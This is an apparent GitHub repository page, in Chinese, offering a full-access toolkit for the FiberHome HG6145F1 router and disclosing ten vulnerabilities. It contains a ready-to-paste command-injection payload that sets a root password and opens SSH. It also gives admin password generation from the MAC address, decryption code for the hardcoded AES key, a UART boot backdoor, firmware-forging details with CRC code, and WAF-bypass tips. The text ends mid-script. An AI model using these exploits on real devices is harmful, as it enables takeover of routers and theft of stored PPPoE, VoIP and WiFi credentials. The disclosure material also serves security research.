MrSmiiith/hg6145f1-full-access

GitHub: MrSmiiith/hg6145f1-full-access

针对FiberHome HG6145F1光猫的完整漏洞利用工具包,包含10个CVE级漏洞披露、root shell获取方法及自定义WebUI。

Stars: 2 | Forks: 0

# FiberHome HG6145F1 — 完全访问权限与自定义 WebUI **作者 [Smothy](https://merzougrayane.com/) — [Numb Team](https://numbhub.com/)** 针对 FiberHome HG6145F1(阿尔及利亚电信 RP4423 固件)的完全管理员访问权限、Root Shell 以及自定义深色 WebUI。 ![Router](https://img.shields.io/badge/Router-HG6145F1-blue) ![ISP](https://img.shields.io/badge/ISP-Algeria%20Telecom-green) ![Access](https://img.shields.io/badge/Access-Root%20Shell-red) ## CVE 提交 以下漏洞已被发现并提交以申请 CVE 分配: | # | 漏洞 | 类型 | CVSS | 状态 | |---|--------------|------|------|--------| | 1 | 可预测的管理员密码 (MAC 转 MD5) | 弱凭据生成 | 8.8 High | 已提交 | | 2 | 通过 `triger_speedtest` 命令注入实现 RCE | 命令注入 | 9.8 Critical | 已提交 | | 3 | 硬编码 AES 密钥 (`ABCDEFGHIJKLMNOP`) | 硬编码加密密钥 | 7.5 High | 已提交 | | 4 | 未签名固件上传 | 不当完整性校验 | 8.8 High | 已提交 | | 5 | 未认证信息泄露 | 信息泄露 | 5.3 Medium | 已提交 | | 6 | XOR 配置文件“加密” | 弱加密 | 7.5 High | 已提交 | | 7 | 启动过程制造商后门 | 隐藏认证 | 9.0 Critical | 已提交 | | 8 | 明文凭据传输 | 缺少加密 | 6.5 Medium | 已提交 | | 9 | 无 CSRF 防护 | 跨站请求伪造 | 6.5 Medium | 已提交 | | 10 | 所有服务以 Root 运行 | 不当权限管理 | 7.0 High | 已提交 | ## 快速开始 ### 步骤 1 — 获取管理员密码 ``` python3 passgen.py # 输入路由器的 MAC 地址(来自底部贴纸) # Username: admin ``` ### 步骤 2 — 上传自定义固件 1. 使用生成的密码登录 `http://192.168.1.1` 2. 前往 **管理 > 设备管理 > 本地升级** 3. 上传 `custom-webui.bin` 并点击 **更新文件** 4. 等待 **“文件升级失败”** 消息 — 这是预期结果 5. 刷新页面 — 自定义 UI 现已激活 ### 步骤 3 — 启用 SSH 上传固件后,在路由器页面打开浏览器控制台 (F12) 并粘贴: ``` var x=new XMLHttpRequest();x.open('GET','/cgi-bin/ajax?ajaxmethod=get_refresh_sessionid',false);x.send();var s=JSON.parse(x.responseText).sessionid;var x2=new XMLHttpRequest();x2.open('POST','/cgi-bin/ajax',false);x2.setRequestHeader('Content-type','application/x-www-form-urlencoded');x2.send('ajaxmethod=triger_speedtest&url=;/fhrom/bin/dropbearkey -t rsa -f /tmp/dbrsa;echo root:root123|chpasswd;/fhrom/bin/dropbear -p 2222 -r /tmp/dbrsa&sessionid='+s);console.log(x2.responseText); ``` 然后通过 SSH 连接: ``` ssh -p 2222 root@192.168.1.1 # Password: root123 ``` ## 你将获得 - **自定义深色 WebUI**,带有蓝色点缀 - **完全管理员访问权限**,解锁所有隐藏菜单 - **Root SSH shell**,端口 2222 - **RCE**,通过 `triger_speedtest` 命令注入 - 解锁的功能: - 自定义 DNS 设置 - PPPoE / VoIP 密码获取 - SSID 隔离 - 动态 DNS (DDNS) - QoS 设置 - 家长控制 - DLNA / Samba / NAT / ALG - 系统日志查看器 - 端口映射 / DMZ / UPNP ## 漏洞详情 ### CVE-1:可预测的管理员密码 管理员密码是使用 MD5 和静态盐值(`AEJLY`)从路由器的 MAC 地址派生而来的。任何知道 MAC 地址的人(在设备贴纸或通过 Web 界面可见)都可以生成管理员密码。 ``` md5 = hashlib.md5(mac.encode() + b"AEJLY").hexdigest() # 使用字符映射从前 20 个十六进制字符派生的密码 ``` ### CVE-2:通过命令注入实现 RCE `triger_speedtest` CGI 方法直接将用户输入传递给 `system()`: ``` snprintf(cmd, 0x100, "/fhrom/bin/speedtest %s &", url_param); system(cmd); ``` 利用方式:`url=;COMMAND` 以 root 身份执行任意命令。 **注意:** - Nginx WAF 阻止 POST body 中的 `>` — 请使用 `wget` 或 `tee` 代替重定向 - `system()` 总是返回 `{"ret":0}` - 需要 Session ID(通过 `get_refresh_sessionid` 获取) ### CVE-3:硬编码 AES 密钥 配置加密使用完全确定性、硬编码的 AES-128-ECB 密钥: ``` key = bytes(range(65, 81)) # "ABCDEFGHIJKLMNOP" iv = bytes(range(48, 64)) # "0123456789:;<=>?" ``` 所有“加密”的配置值(PPPoE 密码、VoIP 凭据)均可离线解密: ``` from Crypto.Cipher import AES cipher = AES.new(bytes(range(65, 81)), AES.MODE_ECB) plaintext = cipher.decrypt(bytes.fromhex("HEX_STRING")).rstrip(b'\x00') ``` ### CVE-4:未签名固件上传 固件升级机制使用带有非标准初始值(0 而非 0xFFFFFFFF)的 CRC32 作为唯一的完整性检查。没有加密签名验证。任何具有管理员访问权限的攻击者都可以上传并执行任意 ARM 二进制文件。 **固件头部格式:** - Magic:偏移量 `0x100` 处的 `~@$^*)+ATOS!#%&(` - CRC32 (init=0) 位于偏移量 `0x166` - Section size (ASCII) 位于偏移量 `0x220` - Payload (ARM ELF binary) 位于偏移量 `0xE00` ### CVE-5:未认证信息泄露 CGI 端点 `/cgi-bin/ajax` 在未经认证的情况下暴露敏感设备信息: ``` GET /cgi-bin/ajax?ajaxmethod=get_base_info ``` 返回:MAC 地址、GPON 序列号、硬件/软件版本、ONU 状态、LOID、CPU/内存使用率、光功率水平 — 所有这些均无需登录。MAC 泄露至关重要,因为管理员密码源自 MAC 地址,从而导致完全未经认证的管理员接管。 ### CVE-6:XOR 配置文件“加密” 配置文件导出/导入使用无密钥的简单可逆 XOR 密码: ``` // libfhapi.so — fhapi_file_crypt_decrypt() for (i = len - len/9527; i != 2*len - len/9527; i++) output = getc(file) ^ (i + 9527); ``` 包含 PPPoE 凭据、VoIP 密码和 WiFi 密钥的导出配置文件可被任何人离线解密。这与 AES 漏洞是分开的 — XOR 用于文件级加密,而 AES 用于单个凭据存储。 ### CVE-7:启动过程制造商后门 启动脚本 `/fhrom/fhshell/initialize.sh` 包含一个制造商后门: ``` macaddr=$(uci get /fhdata/factory_conf.brmac.value | tr -d ":" | \ tr [a-z] [A-Z] | tr [0123456789ABCDEF] [FEDCBA9876543210]) macaddr=${macaddr:6:6} read -n9 -t 2 passwd passwd1=${passwd:0:3} passwd_fh=$(echo -n $passwd1 | sha1sum | cut -d " " -f1) if [ $passwd_fh == "ef431b3bb9e0f022134ebde6d2b87c66ca2c58d2" ]; then if [ ${passwd:3:6} == $macaddr ]; then echo "force exit!!" exit 0 # drops to root shell fi fi ``` 在 2 秒的启动窗口期内,通过串口控制台 (UART) 输入 9 个字符的密码 — 3 个字符匹配 SHA1 哈希 `ef431b3b...` + 6 个字符来自 MAC 转换 — 可绕过所有安全初始化并获得 root shell。SHA1 哈希可以轻易被暴力破解(3 个小写字母仅有 17,576 种组合)。 ### CVE-8:明文凭据传输 Web 管理界面在 HTTP(端口 80)上运行,默认未启用 HTTPS。管理员凭据在客户端使用嵌入在 JavaScript 中的硬编码密钥(见 CVE-3)进行“加密”,无法防止网络嗅探。所有管理操作 — 密码更改、PPPoE 凭据查看、固件上传 — 均以明文传输。 ### CVE-9:跨站请求伪造(无 CSRF 保护) CGI 二进制文件使用轮换 Session ID(`get_refresh_sessionid`)进行 POST 授权,但这并非正规的 CSRF token — 它是可预测的,并且可以通过未经认证的 GET 请求获取。没有 Origin/Referer 验证。攻击者可以制作一个恶意页面,当已登录的管理员访问该页面时执行管理操作: - 更改管理员/用户密码 - 修改 WiFi/DNS/WAN 设置 - 上传恶意固件 - 执行任意命令(通过 RCE) - 重启设备 ### CVE-10:所有服务以 Root 运行(无权限分离) 每个服务都以 uid=0 运行,没有权限分离: - `nginx.conf`: `user root;` - `thttpd.conf`: `user=root` - CGI binary:所有 `system()` 调用均以 root 身份运行 - sysmgr, cfgmgr, dnsrelay, pppd — 全部为 root - 不存在非 root 用户帐户 - 无 SELinux、AppArmor、seccomp 或 capabilities 任何服务中的任何漏洞都会立即授予整个系统的完全 root 访问权限。 ## 技术细节 ### 路由器架构 | 细节 | 值 | |--------|-------| | Kernel | Linux 4.19.183 armv7l | | Chip | BCM6855X | | Root | uid=0 | | Web root | `/www/` (只读 UBIFS) | | CGI binary | `/www/cgi-bin/ajax` (ARM ELF) | | Config | `/fhconf/` (持久化,重启后保留) | | SSH binary | `/fhrom/bin/dropbear` | ### CRC32 算法 标准 CRC32,**初始值为 0**(非标准): ``` def custom_crc32(data): table = [] for i in range(256): crc = i for _ in range(8): if crc & 1: crc = (crc >> 1) ^ 0xEDB88320 else: crc >>= 1 table.append(crc) crc = 0 # init=0, not 0xFFFFFFFF for byte in data: crc = table[(byte ^ crc) & 0xFF] ^ (crc >> 8) return crc & 0xFFFFFFFF ``` ### 固件头部格式 ``` Offset Size Description 0x000 16 Hardware version 0x010 16 Hardware version (compatible) 0x100 16 Magic: "~@$^*)+ATOS!#%&(" 0x110 16 Hardware version (copy) 0x130 16 Software version 0x166 4 CRC32 of payload (LE, init=0) 0x170 16 Chip type (BCM6855X) 0x1F0 16 Section count (ASCII) 0x200 48 Section entry (name + size) 0xE00 ... Payload (ARM ELF binary) ``` ### 配置文件加密 (XOR) ``` for (i = len - len/9527; i != 2*len - len/9527; i++) output = getc(file) ^ (i + 9527); ``` ## 从源码构建 ### 要求 - `gcc-arm-linux-gnueabi` (ARM 交叉编译器) - Python 3 ### 构建 ``` # 创建 webui 文件的 tar.gz cd webui-files && tar czf ../payload.tar.gz . && cd .. # 转换为 object file arm-linux-gnueabi-objcopy -I binary -O elf32-littlearm -B arm \ payload.tar.gz payload.o # 编译 ARM binary arm-linux-gnueabi-gcc -static -Os -o patcher patcher.c payload.o # 使用正确的 header + CRC 构建 .bin python3 -c " import struct def crc32(d): t=[0]*256 for i in range(256): c=i for _ in range(8): c=(c>>1)^0xEDB88320 if c&1 else c>>1 t[i]=c c=0 for b in d: c=t[(b^c)&0xFF]^(c>>8) return c&0xFFFFFFFF h=bytearray(open('header_template.bin','rb').read()) p=open('patcher','rb').read() h[0x220:0x230]=str(len(p)).encode().ljust(16,b'\x00') struct.pack_into('
标签:CISA项目, Cutter, CVE, DNS 反向解析, FiberHome, HG6145F1, IoT安全, RCE, Root Shell, StruQ, WebUI, 光纤猫, 协议分析, 命令注入, 固件破解, 弱密码生成, 挖漏洞, 数字签名, 数据可视化, 权限提升, 硬编码密钥, 编程工具, 网络安全, 自定义脚本, 路由器漏洞, 远程代码执行, 阿尔及利亚电信, 隐私保护